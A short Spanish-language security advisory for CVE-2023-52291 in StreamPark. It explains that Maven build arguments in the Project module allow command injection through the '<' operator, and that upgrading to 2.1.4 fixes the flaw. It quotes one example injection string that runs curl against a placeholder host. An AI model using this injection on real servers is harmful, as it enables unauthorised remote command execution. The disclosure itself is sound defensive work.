Vulnerabilidad en Streampark (CVE-2023-52291)

En Streampark, el módulo del proyecto integra las capacidades de compilación de Maven. La validación de los parámetros de entrada no es estricta, lo que permite a los atacantes insertar comandos para la ejecución remota de comandos. El requisito previo para un ataque exitoso es que el usuario debe iniciar sesión en el sistema Streampark y tener permisos a nivel de sistema. Generalmente, sólo los usuarios de ese sistema tienen autorización para iniciar sesión y los usuarios no ingresarían manualmente un comando de operación peligroso. Por tanto, el nivel de riesgo de esta vulnerabilidad es muy bajo. Antecedentes: en el módulo "Proyecto", el operador maven build args “<” provoca la inyección de comandos. Por ejemplo: “< (curl http://xxx.com)” se ejecutará como una inyección de comando. Mitigación: todos los usuarios deben actualizar a 2.1.4. El operador "<" se bloqueará.